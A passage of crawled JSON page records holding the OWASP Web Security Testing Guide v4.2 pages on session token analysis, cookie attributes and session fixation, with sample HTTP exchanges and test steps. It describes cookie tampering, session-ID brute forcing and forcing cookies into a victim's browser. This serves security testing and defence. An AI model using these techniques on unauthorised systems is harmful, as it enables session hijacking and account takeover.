attack consists of overflowing a cookie. Strictly speaking, this attack has a different nature, since here testers are not trying to recreate a perfectly valid cookie. Instead, the goal is to overflow a memory area, thereby interfering with the correct behavior of the application and possibly injecting (and remotely executing) malicious code.\n\n## Test Objectives\n\n- Gather session tokens, for the same user and for different users where possible.\n- Analyze and ensure that enough randomness exists to stop session forging attacks.\n- Modify cookies that are not signed and contain information that can be manipulated.\n\n## How to Test\n\n### Black-Box Testing and Examples\n\nAll interaction between the client and application should be tested at least against the following criteria:\n\n- Are all `Set-Cookie` directives tagged as `Secure` ?\n- Do any Cookie operations take place over unencrypted transport?\n- Can the Cookie be forced over unencrypted transport?\n- If so, how does the application maintain security?\n- Are any Cookies persistent?\n- What `Expires` times are used on persistent cookies, and are they reasonable?\n- Are cookies that are expected to be transient configured as such?\n- What HTTP/1.1 `Cache-Control` settings are used to protect Cookies?\n- What HTTP/1.0 `Cache-Control` settings are used to protect Cookies?\n\nThe first step required to manipulate the cookie is to understand how the application creates and manages cookies. For this task, testers have to try to answer the following questions:\n\n- How many cookies are used by the application? Surf the application. Note when cookies are created. Make a list of received cookies, the page that sets them (with the set-cookie directive), the domain for which they are valid, their value, and their characteristics.\n- Which parts of the application generate or modify the cookie? Surfing the application, find which cookies remain constant and which get modified. What events modify the cookie?\n- Which parts of the application require this cookie in order to be accessed and utilized? Find out which parts of the application need a cookie. Access a page, then try again without the cookie, or with a modified value of it. Try to map which cookies are used where.\n\nA spreadsheet mapping each cookie to the corresponding application parts and the related information can be a valuable output of this phase.\n\n#### Session Analysis\n\nThe session tokens (Cookie, SessionID or Hidden Field) themselves should be examined to ensure their quality from a security perspective. They should be tested against criteria such as their randomness, uniqueness, resistance to statistical and cryptographic analysis and information leakage.\n\n- Token Structure & Information Leakage\n\nThe first stage is to examine the structure and content of a Session ID provided by the application. A common mistake is to include specific data in the Token instead of issuing a generic value and referencing real data server-side.\n\nIf the Session ID is clear-text, the structure and pertinent data may be immediately obvious such as `192.168.100.1:owaspuser:password:15:58`.\n\nIf part or the entire token appears to be encoded or hashed, it should be compared to various techniques to check for obvious obfuscation. For example the string `192.168.100.1:owaspuser:password:15:58` is represented in Hex, Base64, and as an MD5 hash:\n\n- Hex: `3139322E3136382E3130302E313A6F77617370757365723A70617373776F72643A31353A3538`\n- Base64: `MTkyLjE2OC4xMDAuMTpvd2FzcHVzZXI6cGFzc3dvcmQ6MTU6NTg=`\n- MD5: `01c2fc4f0a817afd8366689bd29dd40a`\n\nHaving identified the type of obfuscation, it may be possible to decode back to the original data. In most cases, however, this is unlikely. Even so, it may be useful to enumerate the encoding in place from the format of the message. Furthermore, if both the format and obfuscation technique can be deduced, automated brute-force attacks could be devised.\n\nHybrid tokens may include information such as IP address or User ID together with an encoded portion, such as `owaspuser:192.168.100.1:a7656fafe94dae72b1e1487670148412`.\n\nHaving analyzed a single session token, the representative sample should be examined. A simple analysis of the tokens should immediately reveal any obvious patterns. For example, a 32 bit token may include 16 bits of static data and 16 bits of variable data. This may indicate that the first 16 bits represent a fixed attribute of the user – e.g. the username or IP address. If the second 16 bit chunk is incrementing at a regular rate, it may indicate a sequential or even time-based element to the token generation. See examples.\n\nIf static elements to the Tokens are identified, further samples should be gathered, varying one potential input element at a time. For example, log in attempts through a different user account or from a different IP address may yield a variance in the previously static portion of the session token.\n\nThe following areas should be addressed during the single and multiple Session ID structure testing:\n\n- What parts of the Session ID are static?\n- What clear-text confidential information is stored in the Session ID? E.g. usernames/UID, IP addresses\n- What easily decoded confidential information is stored?\n- What information can be deduced from the structure of the Session ID?\n- What portions of the Session ID are static for the same log in conditions?\n- What obvious patterns are present in the Session ID as a whole, or individual portions?\n\n#### Session ID Predictability and Randomness\n\nAnalysis of the variable areas (if any) of the Session ID should be undertaken to establish the existence of any recognizable or predictable patterns. These analyses may be performed manually and with bespoke or OTS statistical or cryptanalytic tools to deduce any patterns in the Session ID content. Manual checks should include comparisons of Session IDs issued for the same login conditions – e.g., the same username, password, and IP address.\n\nTime is an important factor which must also be controlled. High numbers of simultaneous connections should be made in order to gather samples in the same time window and keep that variable constant. Even a quantization of 50ms or less may be too coarse and a sample taken in this way may reveal time-based components that would otherwise be missed.\n\nVariable elements should be analyzed over time to determine whether they are incremental in nature. Where they are incremental, patterns relating to absolute or elapsed time should be investigated. Many systems use time as a seed for their pseudo-random elements. Where the patterns are seemingly random, one-way hashes of time or other environmental variations should be considered as a possibility. Typically, the result of a cryptographic hash is a decimal or hexadecimal number so should be identifiable.\n\nIn analyzing Session ID sequences, patterns or cycles, static elements and client dependencies should all be considered as possible contributing elements to the structure and function of the application.\n\n- Are the Session IDs provably random in nature? Can the resulting values be reproduced?\n- Do the same input conditions produce the same ID on a subsequent run?\n- Are the Session IDs provably resistant to statistical or cryptanalysis?\n- What elements of the Session IDs are time-linked?\n- What portions of the Session IDs are predictable?\n- Can the next ID be deduced, given full knowledge of the generation algorithm and previous IDs?\n\nNow that the tester has enumerated the cookies and has a general idea of their use, it is time to have a deeper look at cookies that seem interesting. Which cookies is the tester interested in? A cookie, in order to provide a secure method of session management, must combine several characteristics, each of which is aimed at protecting the cookie from a different class of attacks.\n\nThese characteristics are summarized below:\n\n1. Unpredictability: a cookie must contain some amount of hard-to-guess data. The harder it is to forge a valid cookie, the harder is to break into legitimate user’s session. If an attacker can guess the cookie used in an active session of a legitimate user, they will be able to fully impersonate that user (session hijacking). In order to make a cookie unpredictable, random values or cryptography can be used.\n2. Tamper resistance: a cookie must resist malicious attempts of modification. If the tester receives a cookie like `IsAdmin=No` , it is trivial to modify it to get administrative rights, unless the application performs a double check (for instance, appending to the cookie an encrypted hash of its value)\n3. Expiration: a critical cookie must be valid only for an appropriate period of time and must be deleted from the disk or memory afterwards to avoid the risk of being replayed. This does not apply to cookies that store non-critical data that needs to be remembered across sessions (e.g., site look-and-feel).\n4. `Secure` flag: a cookie whose value is critical for the integrity of the session should have this flag enabled in order to allow its transmission only in an encrypted channel to deter eavesdropping.\n\nThe approach here is to collect a sufficient number of instances of a cookie and start looking for patterns in their value. The exact meaning of “sufficient” can vary from a handful of samples, if the cookie generation method is very easy to break, to several thousands, if the tester needs to proceed with some mathematical analysis (e.g., chi-squares, attractors. See later for more information).\n\nIt is important to pay particular attention to the workflow of the application, as the state of a session can have a heavy impact on collected cookies. A cookie collected before being authenticated can be very different from a cookie obtained after the authentication.\n\nAnother aspect to keep into consideration is time. Always record the exact time when a cookie has been obtained, when there is the possibility that time plays a role in the value of the cookie (the server could use a timestamp as part of the cookie value). The time recorded could be the local time or the server’s tiemstamp included in the HTTP response (or both).\n\nWhen analyzing the collected values, the tester should try to figure out all variables that could have influenced the cookie value and try to vary them one at the time. Passing to the server modified versions of the same cookie can be very helpful in understanding how the application reads and processes the cookie.\n\nExamples of checks to be performed at this stage include:\n\n- What character set is used in the cookie? Has the cookie a numeric value? alphanumeric? hexadecimal? What happens if the tester inserts in a cookie characters that do not belong to the expected charset?\n- Is the cookie composed of different sub-parts carrying different pieces of information? How are the different parts separated? With which delimiters? Some parts of the cookie could have a higher variance, others might be constant, others could assume only a limited set of values. Breaking down the cookie to its base components is the first and fundamental step.\n\nAn example of an easy-to-spot structured cookie is the following:\n\n```\nID=5a0acfc7ffeb919:CR=1:TM=1120514521:LM=1120514521:S=j3am5KzC4v01ba3q\n```\n\nThis example shows 5 different fields, carrying different types of data:\n\n- ID – hexadecimal\n- CR – small integer\n- TM and LM – large integer. (And curiously they hold the same value. Worth to see what happens modifying one of them)\n- S – alphanumeric\n\nEven when no delimiters are used, having enough samples can help understand the structure.\n\n#### Brute Force Attacks\n\nBrute force attacks inevitably lead on from questions relating to predictability and randomness. The variance within the Session IDs must be considered together with application session duration and timeouts. If the variation within the Session IDs is relatively small, and Session ID validity is long, the likelihood of a successful brute-force attack is much higher.\n\nA long Session ID (or rather one with a great deal of variance) and a shorter validity period would make it far harder to succeed in a brute force attack.\n\n- How long would a brute-force attack on all possible Session IDs take?\n- Is the Session ID space large enough to prevent brute forcing? For example, is the length of the key sufficient when compared to the valid life-span?\n- Do delays between connection attempts with different Session IDs mitigate the risk of this attack?\n\n### Gray-Box Testing and Example\n\nIf the tester has access to the session management schema implementation, they can check for the following:\n\n- Random Session Token The Session ID or Cookie issued to the client should not be easily predictable (don’t use linear algorithms based on predictable variables such as the client IP address). The use of cryptographic algorithms with key length of 256 bits is encouraged (like AES).\n- Token length Session ID will be at least 50 characters length.\n- Session Time-out Session token should have a defined time-out (it depends on the criticality of the application managed data)\n- Cookie configuration:\n - non-persistent: only RAM memory\n - secure (set only on HTTPS channel): `Set-Cookie: cookie=data; path=/; domain=.aaa.it; secure`\n - [HTTPOnly](https://owasp.org/www-community/HttpOnly) (not readable by a script): `Set-Cookie: cookie=data; path=/; domain=.aaa.it; HttpOnly`\n\nMore information here: [Testing for cookies attributes](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes)\n\n## Tools\n\n- [OWASP Zed Attack Proxy Project (ZAP)](https://www.zaproxy.org) - features a session token analysis mechanism.\n- [Burp Sequencer](https://portswigger.net/burp/documentation/desktop/tools/sequencer)\n- [YEHG’s JHijack](https://github.com/yehgdotnet/JHijack)\n\n## References\n\n### Whitepapers\n\n- [RFC 2965 “HTTP State Management Mechanism”](https://tools.ietf.org/html/rfc2965)\n- [RFC 1750 “Randomness Recommendations for Security”](https://www.ietf.org/rfc/rfc1750.txt)\n- [Michal Zalewski: “Strange Attractors and TCP/IP Sequence Number Analysis” (2001)](http://lcamtuf.coredump.cx/oldtcp/tcpseq.html)\n- [Michal Zalewski: “Strange Attractors and TCP/IP Sequence Number Analysis - One Year Later” (2002)](http://lcamtuf.coredump.cx/newtcp/)\n- [Correlation Coefficient](http://mathworld.wolfram.com/CorrelationCoefficient.html)\n- [ENT](https://fourmilab.ch/random/)\n- [DMA[2005-0614a] - ‘Global Hauri ViRobot Server cookie overflow’](https://seclists.org/lists/fulldisclosure/2005/Jun/0188.html)\n- [Gunter Ollmann: “Web Based Session Management”](http://www.technicalinfo.net)\n- [OWASP Code Review Guide](https://wiki.owasp.org/index.php/Category:OWASP_Code_Review_Project)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 17647, "slov": 2692, "odkazu": 191, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:34", "sha256": "ee78c1332ffcf4713768c12ebe2c69749749ec361644e6475e646e0a498cd665", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.zaproxy.org/", "https://portswigger.net/burp/documentation/desktop/tools/sequencer", "https://github.com/yehgdotnet/JHijack", "https://tools.ietf.org/html/rfc2965", "https://www.ietf.org/rfc/rfc1750.txt", "http://lcamtuf.coredump.cx/oldtcp/tcpseq.html", "http://lcamtuf.coredump.cx/newtcp/", "http://mathworld.wolfram.com/CorrelationCoefficient.html", "https://fourmilab.ch/random/", "https://seclists.org/lists/fulldisclosure/2005/Jun/0188.html", "http://www.technicalinfo.net/", "https://wiki.owasp.org/index.php/Category:OWASP_Code_Review_Project", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "06-Session Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Cookies Attributes"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 4, "text": "Secure Attribute"}, {"uroven": 4, "text": "HttpOnly Attribute"}, {"uroven": 4, "text": "Domain Attribute"}, {"uroven": 4, "text": "Path Attribute"}, {"uroven": 4, "text": "Expires Attribute"}, {"uroven": 4, "text": "SameSite Attribute"}, {"uroven": 5, "text": "Strict Value"}, {"uroven": 5, "text": "Lax Value"}, {"uroven": 5, "text": "None Value"}, {"uroven": 4, "text": "Host Prefix"}, {"uroven": 4, "text": "Secure Prefix"}, {"uroven": 3, "text": "Strong Practices"}, {"uroven": 2, "text": "Tools"}, {"uroven": 3, "text": "Intercepting Proxy"}, {"uroven": 3, "text": "Browser Plug-in"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Testing for Cookies Attributes\n\n| ID |\n| --- |\n| WSTG-SESS-02 |\n\n## Summary\n\nWeb Cookies (herein referred to as cookies) are often a key attack vector for malicious users (typically targeting other users) and the application should always take due diligence to protect cookies.\n\nHTTP is a stateless protocol, meaning that it doesn’t hold any reference to requests being sent by the same user. In order to fix this issue, sessions were created and appended to HTTP requests. Browsers, as discussed in [testing browser storage](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/12-Testing_Browser_Storage), contain a multitude of storage mechanisms. In that section of the guide, each is discussed thoroughly.\n\nThe most used session storage mechanism in browsers is cookie storage. Cookies can be set by the server, by including a [`Set-Cookie`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie) header in the HTTP response or via JavaScript. Cookies can be used for a multitude of reasons, such as:\n\n- session management\n- personalization\n- tracking\n\nIn order to secure cookie data, the industry has developed means to help lock down these cookies and limit their attack surface. Over time cookies have become a preferred storage mechanism for web applications, as they allow great flexibility in use and protection.\n\nThe means to protect the cookies are:\n\n- [Cookie Attributes](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Creating_cookies)\n- [Cookie Prefixes](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Cookie_prefixes)\n\n## Test Objectives\n\n- Ensure that the proper security configuration is set for cookies.\n\n## How to Test\n\nBelow, a description of every attribute and prefix will be discussed. The tester should validate that they are being used properly by the application. Cookies can be reviewed by using an intercepting proxy, or by reviewing the browser’s cookie jar.\n\n#### Secure Attribute\n\nThe [`Secure`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#Secure) attribute tells the browser to only send the cookie if the request is being sent over a secure channel such as `HTTPS`. This will help protect the cookie from being passed in unencrypted requests. If the application can be accessed over both `HTTP` and `HTTPS`, an attacker could be able to redirect the user to send their cookie as part of non-protected requests.\n\n#### HttpOnly Attribute\n\nThe [`HttpOnly`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#HttpOnly) attribute is used to help prevent attacks such as session leakage, since it does not allow the cookie to be accessed via a client-side script such as JavaScript.\n\n> This doesn’t limit the whole attack surface of XSS attacks, as an attacker could still send request in place of the user, but limits immensely the reach of XSS attack vectors.\n\n#### Domain Attribute\n\nThe [`Domain`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Scope_of_cookies) attribute is used to compare the cookie’s domain against the domain of the server for which the HTTP request is being made. If the domain matches or if it is a subdomain, then the `path` attribute will be checked next.\n\nNote that only hosts that belong to the specified domain can set a cookie for that domain. Additionally, the `domain` attribute cannot be a top level domain (such as `.gov` or `.com`) to prevent servers from setting arbitrary cookies for another domain (such as setting a cookie for `owasp.org`). If the domain attribute is not set, then the hostname of the server that generated the cookie is used as the default value of the `domain`.\n\nFor example, if a cookie is set by an application at `app.mydomain.com` with no domain attribute set, then the cookie would be resubmitted for all subsequent requests for `app.mydomain.com` and its subdomains (such as `hacker.app.mydomain.com`), but not to `otherapp.mydomain.com`. If a developer wanted to loosen this restriction, then he could set the `domain` attribute to `mydomain.com`. In this case the cookie would be sent to all requests for `app.mydomain.com` and `mydomain.com` subdomains, such as `hacker.app.mydomain.com`, and even `bank.mydomain.com`. If there was a vulnerable server on a subdomain (for example, `otherapp.mydomain.com`) and the `domain` attribute has been set too loosely (for example, `mydomain.com`), then the vulnerable server could be used to harvest cookies (such as session tokens) across the full scope of `mydomain.com`.\n\n#### Path Attribute\n\nThe [`Path`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Scope_of_cookies) attribute plays a major role in setting the scope of the cookies in conjunction with the `domain`. In addition to the domain, the URL path that the cookie is valid for can be specified. If the domain and path match, then the cookie will be sent in the request. Just as with the domain attribute, if the path attribute is set too loosely, then it could leave the application vulnerable to attacks by other applications on the same server. For example, if the path attribute was set to the web server root `/`, then the application cookies will be sent to every application within the same domain (if multiple application reside under the same server). A couple of examples for multiple applications under the same server:\n\n- `path=/bank`\n- `path=/private`\n- `path=/docs`\n- `path=/docs/admin`\n\n#### Expires Attribute\n\nThe [`Expires`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Permanent_cookies) attribute is used to:\n\n- set persistent cookies\n- limit lifespan if a session lives for too long\n- remove a cookie forcefully by setting it to a past date\n\nUnlike [session cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Session_cookies), persistent cookies will be used by the browser until the cookie expires. Once the expiration date has exceeded the time set, the browser will delete the cookie.\n\n#### SameSite Attribute\n\nThe [`SameSite`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#SameSite_cookies) attribute is used to assert that a cookie ought not to be sent along with cross-site requests. This feature allows the server to mitigate the risk of cross-orgin information leakage. In some cases, it is used too as a risk reduction (or defense in depth mechanism) strategy to prevent [cross-site request forgery](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery) attacks. This attribute can be configured in three different modes:\n\n- `Strict`\n- `Lax`\n- `None`\n\n##### Strict Value\n\nThe `Strict` value is the most restrictive usage of `SameSite`, allowing the browser to send the cookie only to first-party context without top-level navigation. In other words, the data associated with the cookie will only be sent on requests matching the current site shown on the browser URL bar. The cookie will not be sent on requests generated by third-party websites. This value is especially recommended for actions performed at the same domain. However, it can have some limitations with some session management systems negatively affecting the user navigation experience. Since the browser would not send the cookie on any requests generated from a third-party domain or email, the user would be required to sign in again even if they already have an authenticated session.\n\n##### Lax Value\n\nThe `Lax` value is less restrictive than `Strict`. The cookie will be sent if the URL equals the cookie’s domain (first-party) even if the link is coming from a third-party domain. This value is considered by most browsers the default behavior since it provides a better user experience than the `Strict` value. It doesn’t trigger for assets, such as images, where cookies might not be needed to access them.\n\n##### None Value\n\nThe `None` value specifies that the browser will send the cookie on cross-site requests (the normal behavior before the implementation of `SamseSite`) only if the `Secure` attribute is also used, *e.g.* `SameSite=None; Secure`. It is a recommended value, instead of not specifying any `SameSite` value, as it forces the use of the `secure` attribute.\n\nBy design cookies do not have the capabilities to guarantee the integrity and confidentiality of the information stored in them. Those limitations make it impossible for a server to have confidence about how a given cookie’s attributes were set at creation. In order to give the servers such features in a backwards-compatible way, the industry has introduced the concept of [`Cookie Name Prefixes`](https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00) to facilitate passing such details embedded as part of the cookie name.\n\n#### Host Prefix\n\nThe [`__Host-`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Cookie_prefixes) prefix expects cookies to fulfill the following conditions:\n\n1. The cookie must be set with the `Secure` attribute .\n2. The cookie must be set from a URI considered secure by the user agent.\n3. Sent only to the host who set the cookie and MUST NOT include any `Domain` attribute .\n4. The cookie must be set with the `Path`attribute with a value of `/` so it would be sent to every request to the host.\n\nFor this reason, the cookie `Set-Cookie: __Host-SID=12345; Secure; Path=/` would be accepted while any of the following ones would always be rejected:\n`Set-Cookie: __Host-SID=12345` `Set-Cookie: __Host-SID=12345; Secure` `Set-Cookie: __Host-SID=12345; Domain=site.example` `Set-Cookie: __Host-SID=12345; Domain=site.example; Path=/` `Set-Cookie: __Host-SID=12345; Secure; Domain=site.example; Path=/`\n\n#### Secure Prefix\n\nThe [`__Secure-`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Cookie_prefixes) prefix is less restrictive and can be introduced by adding the case-sensitive string `__Secure-` to the cookie name. Any cookie that matches the prefix `__Secure-` would be expected to fulfill the following conditions:\n\n1. The cookie must be set with the `Secure` attribute.\n2. The cookie must be set from a URI considered secure by the user agent.\n\n### Strong Practices\n\nBased on the application needs, and how the cookie should function, the attributes and prefixes must be applied. The more the cookie is locked down, the better.\n\nPutting all this together, we can define the most secure cookie attribute configuration as: `Set-Cookie: __Host-SID=; path=/; Secure; HttpOnly; SameSite=Strict`.\n\n## Tools\n\n### Intercepting Proxy\n\n- [OWASP Zed Attack Proxy Project](https://www.zaproxy.org)\n- [Web Proxy Burp Suite](https://portswigger.net)\n\n### Browser Plug-in\n\n- [Tamper Data for FF Quantum](https://addons.mozilla.org/en-US/firefox/addon/tamper-data-for-ff-quantum/)\n- [“FireSheep” for FireFox](https://github.com/codebutler/firesheep)\n- [“EditThisCookie” for Chrome](https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=en)\n- [“Cookiebro - Cookie Manager” for FireFox](https://addons.mozilla.org/en-US/firefox/addon/cookiebro/)\n\n## References\n\n- [RFC 2965 - HTTP State Management Mechanism](https://tools.ietf.org/html/rfc2965)\n- [RFC 2616 – Hypertext Transfer Protocol – HTTP 1.1](https://tools.ietf.org/html/rfc2616)\n- [Same-Site Cookies - draft-ietf-httpbis-cookie-same-site-00](https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site-00)\n- [The important “expires” attribute of Set-Cookie](https://seckb.yehg.net/2012/02/important-expires-attribute-of-set.html)\n- [HttpOnly Session ID in URL and Page Body](https://seckb.yehg.net/2012/06/httponly-session-id-in-url-and-page.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 11541, "slov": 1664, "odkazu": 203, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:34", "sha256": "75736599ac5c1939f9cea447af17ca5be979c3ddf2c1a387ef04724848a3b989", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie", "https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies", "https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00", "https://www.zaproxy.org/", "https://portswigger.net/", "https://addons.mozilla.org/en-US/firefox/addon/tamper-data-for-ff-quantum/", "https://github.com/codebutler/firesheep", "https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=en", "https://addons.mozilla.org/en-US/firefox/addon/cookiebro/", "https://tools.ietf.org/html/rfc2965", "https://tools.ietf.org/html/rfc2616", "https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site-00", "https://seckb.yehg.net/2012/02/important-expires-attribute-of-set.html", "https://seckb.yehg.net/2012/06/httponly-session-id-in-url-and-page.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/03-Testing_for_Session_Fixation", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/03-Testing_for_Session_Fixation", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/03-Testing_for_Session_Fixation", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "06-Session Management Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Session Fixation"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Test with Forced Cookies"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Testing for Session Fixation\n\n| ID |\n| --- |\n| WSTG-SESS-03 |\n\n## Summary\n\nSession fixation is enabled by the insecure practice of preserving the same value of the session cookies before and after authentication. This typically happens when session cookies are used to store state information even before login, e.g., to add items to a shopping cart before authenticating for payment.\n\nIn the generic exploit of session fixation vulnerabilities, an attacker can obtain a set of session cookies from the target website without first authenticating. The attacker can then force these cookies into the victim’s browser using different techniques. If the victim later authenticates at the target website and the cookies are not refreshed upon login, the victim will be identified by the session cookies chosen by the attacker. The attacker is then able to impersonate the victim with these known cookies.\n\nThis issue can be fixed by refreshing the session cookies after the authentication process. Alternatively, the attack can be prevented by ensuring the integrity of session cookies. When considering network attackers, i.e., attackers who control the network used by the victim, use full [HSTS](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security) or add the`__Host-` / `__Secure-` prefix to the cookie name.\n\nFull HSTS adoption occurs when a host activates HSTS for itself and all its sub-domains. This is described in a paper called *Testing for Integrity Flaws in Web Sessions* by Stefano Calzavara, Alvise Rabitti, Alessio Ragazzo, and Michele Bugliesi.\n\n## Test Objectives\n\n- Analyze the authentication mechanism and its flow.\n- Force cookies and assess the impact.\n\n## How to Test\n\nIn this section we give an explanation of the testing strategy that will be shown in the next section.\n\nThe first step is to make a request to the site to be tested (*e.g.* `www.example.com`). If the tester requests the following:\n\n```\nGET / HTTP/1.1\nHost: www.example.com\n```\n\nThey will obtain the following response:\n\n```\nHTTP/1.1 200 OK\nDate: Wed, 14 Aug 2008 08:45:11 GMT\nServer: IBM_HTTP_Server\nSet-Cookie: JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1; Path=/; secure\nCache-Control: no-cache=\"set-cookie,set-cookie2\"\nExpires: Thu, 01 Dec 1994 16:00:00 GMT\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html;charset=Cp1254\nContent-Language: en-US\n```\n\nThe application sets a new session identifier, `JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1`, for the client.\n\nNext, if the tester successfully authenticates to the application with the following POST to `https://www.example.com/authentication.php`:\n\n```\nPOST /authentication.php HTTP/1.1 Host: www.example.com [...] Referer: http://www.example.com Cookie: JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1 Content-Type: application/x-www-form-urlencoded Content-length: 57\n\nName=Meucci&wpPassword=secret!&wpLoginattempt=Log+in\n```\n\nThe tester observes the following response from the server:\n\n```\nHTTP/1.1 200 OK Date: Thu, 14 Aug 2008 14:52:58 GMT Server: Apache/2.2.2 (Fedora) X-Powered-By: PHP/5.1.6 Content-language: en Cache-Control: private, must-revalidate, max-age=0 X-Content-Encoding: gzip Content-length: 4090 Connection: close Content-Type: text/html; charset=UTF-8 ... HTML data ... \n```\n\nAs no new cookie has been issued upon a successful authentication, the tester knows that it is possible to perform session hijacking unless the integrity of the session cookie is ensured.\n\nThe tester can send a valid session identifier to a user (possibly using a social engineering trick), wait for them to authenticate, and subsequently verify that privileges have been assigned to this cookie.\n\n### Test with Forced Cookies\n\nThis testing strategy is targeted at network attackers, hence it only needs to be applied to sites without full HSTS adoption (sites with full HSTS adoption are secure, since all their cookies have integrity). We assume to have two testing accounts on the website under test, one to act as the victim and one to act as the attacker. We simulate a scenario where the attacker forces in the victim’s browser all the cookies which are not freshly issued after login and do not have integrity. After the victim’s login, the attacker presents the forced cookies to the website to access the victim’s account: if they are enough to act on the victim’s behalf, session fixation is possible.\n\nHere are the steps for executing this test:\n\n1. Reach the login page of the website.\n2. Save a snapshot of the cookie jar before logging in, excluding cookies which contain the `__Host-` or `__Secure-` prefix in their name.\n3. Login to the website as the victim and reach any page offering a secure function requiring authentication.\n4. Set the cookie jar to the snapshot taken at step 2.\n5. Trigger the secure function identified at step 3.\n6. Observe whether the operation 